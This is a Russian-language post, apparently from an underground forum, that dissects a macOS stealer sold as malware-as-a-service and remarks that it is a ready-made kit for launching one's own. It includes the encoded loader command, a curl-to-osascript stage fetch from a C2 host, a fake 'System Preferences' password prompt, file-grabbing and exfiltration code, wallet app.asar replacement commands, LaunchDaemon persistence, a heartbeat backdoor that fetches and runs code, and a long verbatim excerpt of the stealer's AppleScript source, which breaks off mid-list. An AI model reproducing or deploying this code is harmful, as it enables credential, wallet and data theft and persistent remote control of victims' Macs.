LIMB
Вход Регистрация

тема

Чужой скрипт воровать свой MaaS делать. macOS-стилер, позволяющий восстановить весь флоу целиком, за считанные часы.

bezmyatezhnost · · 10 ответов · 556 просмотров

Всем привет, недавно мы с вами разбирали чудесную версию Hidden сниффера от Флераса, а сегодня поедем немного в другую сторону, хотя мысль останется примерно такая же. На глаза мне упал один замечательный macOS-стилер, вернее даже не сам стилер в привычном понимании этого слова, не приложение, не Mach-O бинарник, не DMG-файл, и вообще ничего из того, что обычно ожидаешь увидеть под словом "малварь", а обычная команда для терминала. Base64, gzip, eval, всё как любят люди, которые называют кодированную строку военным шифрованием, лепят сверху плашку PRIVATE BUILD и потом продают получившееся чудо за несколько тысяч долларов.

Не удалось прогрузить медиа

​
А цены на macOS-стилеры, надо сказать, действительно немаленькие. Решил я немного прокатиться по экспе и посмотреть, что вообще сейчас предлагают на рынке. Нашёл всего три более-менее живых решения: ценник начинается примерно от тысячи долларов, аренда билда, доплаты за отдельные функции, а кое-где автору вообще неинтересна никакая фикса, он хочет работать исключительно за процент. Да-да, человек не просто продаёт вам скрипт, он заранее хочет долю со всего, что этот скрипт когда-нибудь утащит. Уверенность в продукте, конечно, завидная. И вот тут становится интересно. Стилеров под Windows на рынке уже столько, что можно открывать отдельный супермаркет: дешёвые, дорогие, приватные, публичные, слитые, пересобранные, с панелью, без панели, с поддержкой от мамкиного кодера и без неё. Конкуренция тяжёлая, цены постоянно сбивают, а любой очередной "уникальный" продукт через неделю оказывается перекрашенным форком того, что уже продавали месяц назад. А с маком всё попроще. Решений мало, аудитория жирная, на устройствах лежат браузерные сессии, Keychain, криптокошельки, сид-фразы, документы, и самое главное, вокруг macOS до сих пор живёт замечательная сказка про то, что вирусов там якобы не бывает. То есть спрос есть, конкуренции почти нет, а значит можно ставить ценник побольше и рассказывать про невиданный приват. Ну ладно, рынок рынком, цены ценами, но давайте уже посмотрим, что именно нам предлагают под видом подобного macOS-привата. Как я уже сказал, первоначально ко мне попала не программа и даже не файл, а обычная команда для терминала. Выглядит она достаточно стандартно для нынешних макосных загрузчиков: создаётся случайно названная переменная, внутрь неё через base64 -D и gunzip распаковывается какой-то текст, а затем весь получившийся результат улетает в eval. Если кто не в курсе, eval берёт строку и исполняет её как команду. И чтоб это не выглядело как какая-то абстрактная страшилка, давайте прямо глазами посмотрим на обёртку, которая была в исходной команде:

Code:
#!/bin/zsh
d93f29c=$(base64 -D <<'PAYLOAD_925a0711' | gunzip
H4sIAEzDeGoC/71U4XLiNhD+75m+w1ZHjzATbHDgEnIl1zTHNTQEMoWmmWk7HtleYxUj+SQ5BC7X6UP0Cfskle2QEOik0z/1L+1a32p3v2/31ZeOz7izUrH1Ct6jn00hETRECX/98SeEqDHQcNYfA+Uh+IkIZrBgOgaNCc5Ry6XVH3vmf5dENFFILBYZVESzRCuQSEP43RkwX1K5dK4kRiiRB6icQMxtmqYJ2uf9iRCJL+7sNGFKw2nu7XHqJxj2eZrpscikgYB74oR46/AsSeAephJTqH9kIDOlGOVvQcfILTDfOiMtM5NQxKyitKISUwBNEBiPRFGgopxptkKIhITvx6OhNRidnQ56Xn/4YdSt7P2PpTAgF7j0BZXhgC5FpmFI50jM/zh/u942Jy2h+guvQnW/Wlr1EKrk6Uyq5v49YBALIBmfcbHgpGadj8aT4ellzxQUC6W5ibuVwkaoXfho7F33fjBgtfBuUSqop1KEWaCvjcEEfx5rF9+7mXj9K4MPMplA3eDrc3pX18yk0YZY61QdOw5Nmc1SFi1tIafbIV9EsoDymK5Yahsq/hsyCgSP2NTebsgLRZQ/KqVNnnpnfQHVWi61bzOWhIWYjLwiTJaQKcankErGdWQp5KEX5pPm4S1yvVeDT4VsC21C73rSJZUm2XDloczDJR6qn0iBI8fkK0X2iZ8/58VUxWsPSx9PyguYWlul+NfWWglrW6iCXMNn6flczau8nhAg7Tdt2jlsuQfUbbjukd9xW0GTup3gyI0Qjzpkox+kUo5fftqYpdxcyzA/l5oyfc3LfOToBq7MHSBrfjLVai7QXwkzYgs2Y7lInKJ3TtkDqJ8DORNcG6M+WaZ4DPkoGkVoU4jzmzLVFINRyZtInqtgg3D35HXT+pyz14+KdVcsB8MUmP55xd7DEIo3i02Id0znq+7njXq7UG4c+HVjF22zDWQjINlJIYfksaHxsLeGQj/Pp9zOnsSPGSq9TsrafWf74s5j8NqyQopzwb0o40HesEct4h0G8PXj/SffyT/43C1nSedsa+oOGgVZPyqU9dOpSfEYLsWKJQl12nYD9i5pYPQtVPwW+obPBIwDRmO4gWbDa7a9w1q5T39C/4Jpp31waB+8gb2L88nlYB8SNkP4DoOZqMFZLMUcnU7Tbtit1qFrN5stGNOISvYAIy9IrJRXSpd5A8vFrgLJUv2umLTuvw/DPQhFS4zR1FaLjWC+Iab1Dyz/DRhdsHCABwAA
PAYLOAD_925a0711
)
eval "$d93f29c"

Вот эта последняя строка и есть момент, после которого смотреть уже поздно. Всё, что лежало в base64-колбасе, сначала декодируется, потом распаковывается через gunzip, складывается в переменную d4db230, а затем eval исполняет содержимое этой переменной как обычный zsh-код. На диск расшифрованная версия отдельно не сохраняется, а человек, который вставил команду в Terminal, видит в лучшем случае закрывшееся окно и думает, что активатор просто не сработал. Хотя активатор как раз таки сработал, только активировал он немного не то, что ожидал человек.

Code:
base64 -d payload.b64 | gunzip > decod.sh
file decod.sh
wc -c decod.sh
​
Если повторять тот же декод в штатном Terminal на macOS, команда будет отличаться ровно одной заглавной буквой.

Code:
base64 -D payload.b64 | gunzip > decod.sh

Просто декодировали строку и получили файлик, размером чуть меньше 2к байт.

Не удалось прогрузить медиа

​

Теперь этот файл уже можно открыть через sed, less или любой текстовый редактор. И в первых же строках вместо какого-нибудь военного шифрования видим обычный #!/bin/zsh, переменную IS_CIS и чтение настроек клавиатуры. То есть обёртка снята, стейдж первый лежит перед нами целиком, а ни одна его команда при этом не исполнилась. После декода на выходе получаем обыкновенный zsh-скрипт размером меньше двух килобайт. То есть вся первая весит меньше средней картинки с котиком. И начинается она достаточно показательно. Скрипт читает com.apple.HIToolbox.plist, где macOS хранит подключённые источники ввода и раскладки клавиатуры, после чего ищет там слово russian. Если русская раскладка найдена, переменная IS_CIS становится true, на сервер отправляется событие cis_blocked, а сам загрузчик завершает работу. Да-да, старый добрый принцип "вОрК пО сНг ЗаПрЕщЁн" прямо внутри полутора килобайт шелла. Есть русская раскладка, значит тачку не трогаем. Получается, человеку достаточно держать в системе русский input source, и конкретно этот билд решит, что он из наших, поклонится и самостоятельно закроется. Защитное решение от Лаборатории Касперского, получается, теперь добавляется через настройки клавиатуры =)). Но одной раскладкой автор не ограничивается. Дальше загрузчик собирает небольшой профиль машины: hostname, версию macOS, список клавиатурных раскладок и внешний IP. Причём IP он получает не через какой-то собственный сервер, а по очереди стучится в api.ipify.org, icanhazip.com и ifconfig.me. Если первый сервис не ответил, идёт на второй, потом на третий. Всё достаточно аккуратно, с таймаутом в пять секунд, чтоб загрузчик не завис и не заставил жертву задуматься, почему терминал уже полминуты чем-то занят. Cобранная инфа пакуется в JSON, и улетает POST-запросом на ручку /api/debug/event. Уже по этому кусочку видно, что перед нами не просто случайный скрипт, который кто-то собрал себе на коленке. Есть идентификатор билда, отдельные события, телеметрия и привязка запуска к конкретной сборке. Оператор может увидеть, сколько людей запросило загрузчик, сколько из них отвалилось из-за CIS-проверки и сколько дошло до следующей стадии. Нормальная продуктовая аналитика, только вместо конверсии в покупку измеряется конверсия в украденный Keychain.

Не удалось прогрузить медиа

​
А теперь переходим к самому важному месту первого загрузчика. Если русская раскладка не найдена, скрипт запускает функцию daemon_function, закрывает ей стандартный ввод, вывод и поток ошибок, а затем выполняет.

Code:
curl -k -s --max-time 30 \
  -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) ..." \
  "https://c2/debug/payload.applescript?build=565a97423a20228b924c1a29c82fee81" \
  | osascript

Вот, собственно, и весь стейдж. curl скачивает следующую стадию, а пайп сразу передаёт ответ в osascript, штатный интерпретатор AppleScript. Никаких временных файлов, никаких DMG, никаких приложений в /Applications. Сервер вернул текст, macOS тут же его исполнила, а загрузчик закрылся с кодом ноль. Со стороны пользователя всё выглядит так, будто команда просто ничего не сделала.

Не удалось прогрузить медиа

​
Пайп в osascript убираем, ответ сервера сохраняем в файл и читаем как обыкновенный текст. В итоге вместо исполнения второй стадии на машине получаем stage2.applescript, который можно спокойно открыть в редакторе и разобрать. И вот тут авторы сделали мне настоящий подарок. Никакой второй base64-колбасы, никакой минификации, никакого AES и даже названия функций особо не спрятаны. Перед нами лежит полноценный AppleScript с такими обработчиками, как getpwd, Chromium, ChromiumWallets, Gecko, DesktopWallets, Telegram, Keychains, CloudKeys, Filegrabber, DiscordTokens и SteamTokens. То есть автор буквально сам подписал, что, откуда и каким образом он собирается воровать.

Не удалось прогрузить медиа

​

И если первая стадия занимала меньше двух килобайт, то здесь начинается уже основной фарш. Запрос настоящего системного пароля, браузеры, кукисы, Keychain, криптокошельки, Telegram, Discord, Steam, Apple Notes, документы, упаковка, отправка на гейт, подмена app.asar внутри кошельков и закрепление через LaunchDaemon. Кароче, полный набор всего того, что на странице продажи обычно расписывают двадцатью красивыми буллетами. Только у нас он лежит открытым текстом и без рекламных картинок. Ну что, давайте начинать с самого наглого элемента этой цепочки: каким образом обычный AppleScript притворяется System Preferences и заставляет человека добровольно отдать настоящий пароль от мака.

Не удалось прогрузить медиа

​
Почти сразу после старта оно создаёт временную рабочую папку вида /tmp/shub_1234567/, записывает туда имя пользователя и запускает обработчик getpwd. Название функции, как видите, снова оставляет простор для фантазии примерно на уровне таблички "тут крадём пароль". Но сама реализация чуть интереснее обычного display dialog. Сначала стилер проверяет, не передали ли ему пароль заранее, а потом вызывает отдельную функцию checkvalid:

Code:
on checkvalid(username, password_entered)
  try
    set result to do shell script "dscl . authonly " & ¬
      quoted form of username & space & quoted form of password_entered
    if result is not equal to "" then
      return false
    else
      return true
    end if
  on error
    return false
  end try
end checkvalid

dscl . authonly не сравнивает введённую строку с чем-то внутри скрипта и не отправляет её на сервер для проверки. Это штатная команда macOS, которая просит локальную систему аутентифицировать конкретного пользователя. Пустой вывод и нулевой код завершения означают, что пароль настоящий. То есть автор не просто собирает всё, что человек напечатал в окошке, а сразу сортирует ввод на валидный и невалидный.

Если пароль ещё не получен, AppleScript берёт системную иконку замка и показывает вот такой диалог:

Code:
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog ¬
  "You should update the settings to launch the application." ¬
  default answer "" ¬
  with icon imagePath ¬
  buttons {"Continue"} ¬
  default button "Continue" ¬
  giving up after 150 ¬
  with title "System Preferences" ¬
  with hidden answer

Никаких настоящих System Preferences здесь, конечно, нет. Обычный AppleScript сам назначает себе заголовок System Preferences, подкладывает системную картинку LockedIcon.icns и включает hidden answer, чтобы введённые символы выглядели как пароль. Для человека всё достаточно правдоподобно: он только что пытался запустить "приложение", macOS внезапно просит подтвердить изменение настроек, кнопка называется Continue, и даже иконка взята не из архива малвари, а прямо из системы.

Не удалось прогрузить медиа

​
На одну ошибку авторы тоже не рассчитывают. Цикл даёт человеку десять попыток. Каждый неправильный вариант складывается в invalid_passwords.txt, а правильный записывается в файл Password с префиксом VALID:. Получается даже немного заботливо: ошибся раскладкой, промахнулся по клавише, ввёл старый пароль, ничего страшного, стилер терпеливо покажет то же окно ещё раз. После десяти неудач он запишет NO_VALID_PASSWORD_AFTER_10_ATTEMPTS и продолжит работу без административных прав. Это важный момент, отсутствие пароля не останавливает всю цепочку. Оно только закрывает часть дверей. Браузерные базы, файлы профиля, Telegram, Discord, Steam и множество кошельков всё ещё доступны текущему пользователю. А если пароль настоящий, стилер получает уже совсем другой уровень возможностей: может разблокировать login Keychain, достать ключи Safe Storage, менять приложения в /Applications и закрепляться через системный LaunchDaemon. Поэтому пароль здесь не обязательное условие заражения, а такой себе платный апгрейд, который жертва устанавливает злоумышленнику самостоятельно.

Не удалось прогрузить медиа

​
После истории с паролем начинается уже конвейер. Сначала скрипт строит две карты: браузеры и десктопные кошельки. В Chromium-семейство попадают Chrome, Brave, Edge, Opera, Opera GX, Vivaldi, Orion, Sidekick, Chrome Canary, Chromium, Chrome Dev, Arc, CocCoc и Chrome Beta. Для Firefox есть отдельный geckoMap. А список десктопных кошельков начинается с Exodus, Electrum и Atomic и заканчивается Ledger Live, Trezor Suite, Monero GUI и ещё парой десятков клиентов.

Из каждого Chromium-профиля с именем Default или Profile* копируются вполне ожидаемые базы:

Code:
set chromiumFiles to {
  "/Network/Cookies",
  "/Cookies",
  "/Web Data",
  "/Login Data",
  "/Local Extension Settings/",
  "/IndexedDB/"}

Cookies дают сессии, Login Data - сохранённые логины, Web Data - автозаполнение, а Local Extension Settings и IndexedDB особенно интересуют авторов из-за криптокошельков. Внутри 2-ого этапа лежит огромный список ID расширений. Скрипт не копирует вообще все плагины подряд, а сравнивает каталоги браузера с этим списком и забирает только совпадения. MetaMask там можно узнать по nkbihfbeogaeaoehlefnkodbefgpgknn, но одним MetaMask дело, разумеется, не ограничивается - список занимает больше сотни строк.

Не удалось прогрузить медиа
​

Для Firefox набор немного другой: cookies.sqlite, logins.json, key4.db, cert9.db, places.sqlite и formhistory.sqlite. Особенно хороша связка logins.json + key4.db: отдельно первая база хранит зашифрованные логины, а вторая содержит материал, необходимый для их расшифровки. Авторы предусмотрительно забирают обе, чтобы уже на сервере не выяснить, что половину пазла забыли на маке.

Не удалось прогрузить медиа
​

С десктопными кошельками подход ещё проще. DesktopWallets проходит по заранее подготовленной карте путей и копирует найденные каталоги с ограничением размера. Никакого понимания формата конкретного кошелька на стороне AppleScript нет и не требуется: утащить LevelDB, wallet-файлы и конфиги целиком, а разбирать их можно потом. То же самое относится к ~/Library/Keychains/ и ~/Library/Application Support/iCloud/Accounts/ - содержимое каталогов просто складывается в Keychains/ и iCloud/ внутри временной папки.

Не удалось прогрузить медиа
​

Дальше начинается то, что обычно теряется за красивым словом file grabber. Скрипт обходит Desktop и Documents на глубину до трёх каталогов и ищет docx, doc, wallet, key, keys, txt, rtf, csv, xls, xlsx, json и rdp. Документ должен быть меньше двух мегабайт, на каждое расширение берётся до тридцати файлов, а общий grabber ограничен 150 мегабайтами. PNG тоже собираются, но уже с глубиной два, лимитом шесть мегабайт на файл и максимум двадцатью находками. То есть авторы явно старались не скачать весь рабочий стол целиком и не заставить жертву заметить исходящий трафик размером с домашний фотоархив. Отдельно забираются Safari Cookies, Autofill и History, а потом внезапно Apple Notes. Причём не только NoteStore.sqlite, но также её -shm и -wal файлы, где могут оставаться ещё не слитые в основную базу изменения. Из Accounts/*/Media/ дополнительно копируются вложения размером до пяти мегабайт, пока общий объём не достигнет 30 мегабайт. Заметки с сид-фразой, скриншот кошелька, фотография документа - всё это авторы явно считают вполне достойным отдельного обработчика.

Не удалось прогрузить медиа
​

Telegram представлен папкой tdata, Discord - LevelDB-каталогами четырёх вариантов клиента, включая Canary и PTB. У Steam забираются loginusers.vdf, config.vdf и файлы ssfn*. Плюсом к этому в общий архив ложатся .zshrc, .zsh_history, .bash_history и .gitconfig. Последнее особенно забавно: пока пользователь думает, что у него украли только браузер, оператор заодно получает историю команд, имена репозиториев и иногда токены, которые кто-то по старой доброй традиции однажды вставил прямо в URL.

Не удалось прогрузить медиа

​
Когда обработчики закончили работу, скрипт считает найденные браузеры, кошельки, расширения, Keychain, Telegram, Discord и Steam, отправляет эту сводку как событие data_collected, а всю папку упаковывает через штатный ditto:

Code:
set archivePath to "/tmp/shub_log.zip"
do shell script "ditto -c -k --sequesterRsrc " & ¬
  quoted form of writemind & " " & quoted form of archivePath

После этого включается развилка по размеру. Если временная папка меньше 85 000 000 байт, ZIP одним multipart-запросом отправляется на /gate. Вместе с файлом уходят API key, ID и hash билда, а также флаг has_valid_password. Сам пароль тоже предусмотрен отдельным полем password, хотя в разобранной сборке перед отправкой переменная passwordToSend оставлена пустой: валидный пароль уже лежит внутри архива в файле Password. Если данных больше 85 мегабайт, код на лету собирает отдельный bash-скрипт и режет папку на ZIP-архивы примерно по 70 мегабайт. Сначала в чанки кладутся Wallets, KeyChains, Browsers, Telegram, Safari, Notes и Profile, а уже потом всё остальное. Приоритеты расставлены предельно честно: если соединение оборвётся на середине, оператор всё равно с большей вероятностью успеет получить то, ради чего затевался весь банкет.

Code:
set chunkThreshold to 85000000
set chunkUrl to gateUrl & "/chunk"

-- внутри создаваемого bash-скрипта
MAX_BYTES=70000000
PRIORITY=(Wallets KeyChains Browsers Telegram Safari Notes Profile)

Каждая часть получает общий chunk_session, порядковый номер и общее число архивов. Для каждого запроса настроены три попытки с паузой пять секунд, а серверные ответы проверяются по HTTP-коду. После успешной или хотя бы частично успешной отправки временные ZIP, split-скрипт и вся папка /tmp/shub_* удаляются.

Не удалось прогрузить медиа

​
На отправке архива нормальный стилер, наверное, сказал бы спасибо и завершился. Но этот образец после очистки временных файлов переходит к секции с прекрасным названием WALLET INJECTION. Он по очереди проверяет наличие пяти Electron-приложений: Exodus, Atomic Wallet, Ledger Wallet, Ledger Live и Trezor Suite.

Для каждого кошелька на C2 предусмотрена отдельная ручка: /gate/exodus-asar, /gate/atomic-asar, /gate/ledger-asar, /gate/ledgerlive-asar и /gate/trezor-asar. Оттуда загружается ZIP, внутри которого ожидается как минимум новый app.asar, а для некоторых клиентов ещё Info.plist и app.asar.unpacked.

На примере Exodus процедура выглядит так:

Code:
set asarUrl to gateUrl & "/exodus-asar"
do shell script "curl -s -o /tmp/exodus_asar.zip " & quoted form of asarUrl
do shell script "unzip -q -o /tmp/exodus_asar.zip -d /tmp"
do shell script "pkill -9 Exodus 2>/dev/null || true"
set targetAsar to "/Applications/Exodus.app/Contents/Resources/app.asar"
do shell script "mv /tmp/app.asar " & quoted form of targetAsar
do shell script "xattr -cr /Applications/Exodus.app"
do shell script "codesign -f -d -s - /Applications/Exodus.app"

Перед заменой приложение насильно закрывается, его bundle копируется во временную папку, удаляется с прежнего места и возвращается обратно. Этот дополнительный круг нужен не для красоты: так скрипт пытается обойти проблемы с правами на уже установленный bundle. После подмены снимаются extended attributes через xattr -cr, а приложение получает ad-hoc подпись через codesign -s -. Настоящая подпись разработчика при этом, конечно, не воскресает, но macOS получает формально подписанный bundle, который можно попытаться снова открыть.

Не удалось прогрузить медиа
​

Зачем вообще менять app.asar? Потому что у Electron-приложения это основной архив с JavaScript-кодом интерфейса и логики. Подменив его, оператор получает код, который запускается уже внутри привычного кошелька. Жертва открывает настоящий Exodus или Ledger Live с привычной иконкой и своими данными, а вместе с интерфейсом стартует чужая логика.

Не удалось прогрузить медиа
​

Следом идёт persistence. И вот тут снова становится понятно, зачем стилер так настойчиво выпрашивал настоящий пароль. При наличии валидного пароля он создаёт скрытый каталог:

Code:
/Library/Application Support/.com.apple.accountsd/
  .service
  .cfg

/Library/LaunchDaemons/com.apple.accountsd.plist

Название com.apple.accountsd выбрано не случайно. В macOS действительно есть системные процессы, связанные с учётными записями Apple, поэтому похожий label среди plist и Application Support выглядит куда скучнее, чем условный com.superprivate.stealer. В plist включены RunAtLoad и KeepAlive, а стандартный вывод и ошибки уходят в /dev/null. LaunchDaemon запускает .cfg, тот раз в минуту определяет активного пользователя и от его имени вызывает .service.

Если пароль получить не удалось, авторы не расстраиваются и переходят к запасному варианту без root:

Code:
~/Library/Application Support/.com.apple.accountsd/.service
~/Library/LaunchAgents/com.apple.accountsd.plist

У пользовательского LaunchAgent уже нет системного KeepAlive, зато стоит RunAtLoad и StartInterval = 60. То есть обе ветки приходят к одному результату: скрытый сервис запускается при входе и затем обращается к серверу примерно раз в минуту. Разница только в том, переживает ли он смену пользователя и работает ли с root-уровня.

А теперь самое интересное - что находится внутри .service. В AppleScript он хранится ещё одной base64-строкой, но после декода там обычный bash:

Code:
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F\" '/IOPlatformUUID/{print $4}')

RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" \
  -H "Content-Type: application/json" \
  -d '{"bot_id":"...","build_id":"...","hostname":"...","ip":"...","os_version":"..."}')

CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
  echo "$CODE" | base64 -d > /tmp/.c.sh
  chmod +x /tmp/.c.sh
  /tmp/.c.sh
  rm -f /tmp/.c.sh
fi

Вот здесь слово "стилер" окончательно перестаёт описывать происходящее. Каждые 60 секунд на /api/bot/heartbeat отправляется UUID устройства, build ID, hostname, IP и версию macOS. Сервер может вернуть поле code, содержимое которого декодируется из base64, сохраняется как /tmp/.c.sh, получает право на запуск и исполняется. Никакой подписи команды, никакого allowlist и даже нормального формата задач. Пришёл текст - запустили текст. То есть после сия совершенного пизделова оператор сохраняет за собой еще и RCE.

Не удалось прогрузить медиа
​

В самом конце показывается ещё одно окно от имени System Preferences: "Your Mac does not support this application". Хороший финальный штрих. Пароль уже проверен, данные отправлены, кошельки подменены, persistence установлен, а человеку сообщают, что приложение просто не поддерживает его мак. Он закрывает окно, удаляет скачанный "активатор" и на этом считает историю законченной. А для оператора она в этот момент только начинается.

Не удалось прогрузить медиа

​
Самое забавное во всей этой истории даже не количество украденных данных, а то, насколько низким авторы сделали порог входа для следующего желающего открыть собственный macOS MaaS. Большими навыками малдева здесь обладать уже необязательно. Рабочий AppleScript есть, список путей к браузерам и кошелькам есть, фальшивое окно для пароля есть, упаковка, чанки, persistence и подмена app.asar тоже есть. Даже придумывать протокол общения с сервером не нужно: из клиента видны все основные ручки, поля запросов, идентификаторы билдов, телеметрия и формат heartbeat-ответа с командой. То есть перед нами не просто отдельный образец, который можно разобрать и забыть, а практически готовый конструктор. Поменять домен, переименовать shub в какое-нибудь ultra_private, нарисовать панель потемнее, добавить логотип с яблоком и можно писать в рекламе про "уникальную архитектуру, аналогов нет". Работать он действительно будет. Не потому, что новый автор внезапно стал специалистом по macOS, а потому, что предыдущий уже оставил ему почти всё, от osascript до схемы C2. Короче, ждём десятки новых macOS MaaS. Один будет PRIVATE, второй VIP, а внутри у всех тот же display dialog, тот же curl и тот же app.asar, только домены разные. Ну или быть может особо умные додумаются собрать DMG, и будет, наверняка неплохой конкурент уже существующим проектам. Рынок Windows-стилеров когда-то начинался примерно так же, а потом у каждого второго продавца появился свой "эксклюзивный" билд из одного и того же архива. Судя по этому образцу, яблочный филиал данного аттракциона уже готовится к открытию.




Спойлер: steal osa
Code:
try
do shell script "killall Terminal"
end try

property writemind : ""

on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer

on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir

on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName

on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName

on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText

on debugLog(msg)
try
set ts to do shell script "date '+%H:%M:%S'"
writeText(ts & " | " & msg & return, writemind & "debug")
end try
end debugLog

on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
debugLog("COPY OK: " & path_to_file & " -> " & path_as_save)
on error errMsg
debugLog("COPY FAIL: " & path_to_file & " | " & errMsg)
end try
end readwrite

on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory

on GrabFolderLimit(sourceFolder, destinationFolder)
try
debugLog("GrabFolderLimit: " & sourceFolder & " -> " & destinationFolder)
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 100 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
on error errMsg
debugLog("GrabFolderLimit FAIL: " & sourceFolder & " | " & errMsg)
end try
end GrabFolderLimit

on GrabFolder(sourceFolder, destinationFolder)
try
debugLog("GrabFolder: " & sourceFolder & " -> " & destinationFolder)
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder

on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid

on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText("VALID: " & provided_password, writemind & "Password")
return provided_password
else
writeText(provided_password, writemind & "invalid_passwords.txt")
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
writeText("NO_PASSWORD_REQUIRED", writemind & "Password")
return ""
else
set attemptCount to 0
set maxAttempts to 10
set validPassword to ""
set gotValidPassword to false
repeat while attemptCount < maxAttempts and gotValidPassword is false
set attemptCount to attemptCount + 1
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog "You should update the settings to launch the application." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if password_entered is not equal to "" then
if checkvalid(username, password_entered) then
writeText("VALID: " & password_entered, writemind & "Password")
set validPassword to password_entered
set gotValidPassword to true
else
writeText("Attempt " & attemptCount & ": " & password_entered, writemind & "invalid_passwords.txt")
end if
end if
end repeat
if gotValidPassword then
return validPassword
else
writeText("NO_VALID_PASSWORD_AFTER_" & maxAttempts & "_ATTEMPTS", writemind & "Password")
return "__INVALID__"
end if
end if
end try
return "__INVALID__"
end getpwd



on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to savePath & "/IndexedDB/" & PFile
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins

on Chromium(writemind, chromium_map)
debugLog("Chromium: starting")
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
set pluginList to pluginList & {"lojeokmpinkpmpbakfkfpgfhpapbgdnd", "ibpjepoimpcdofeoalokgpjafnjonkpc"}
set pluginList to pluginList & {"gmohoglkppnemohbcgjakmgengkeaphi", "gaedmjdfmmahhbjefcbgaolhhanlaolb"}
set pluginList to pluginList & {"oeljdldpnmdbchonielidgobddffflal", "ilgcnhelpchnceeipipijaljkblbcobl"}
set pluginList to pluginList & {"fooolghllnmhmmndgjiamiiodkpenpbb", "naepdomgkenhinolocfifgehidddafch"}
set pluginList to pluginList & {"bmikpgodpkclnkgmnpphehdgcimmided", "imloifkgjagghnncjkhggdhalmcnfklk"}
set pluginList to pluginList & {"jhfjfclepacoldmjmkmdlmganfaalklb", "chgfefjpcobfbnpmiokfjjaglahmnded"}
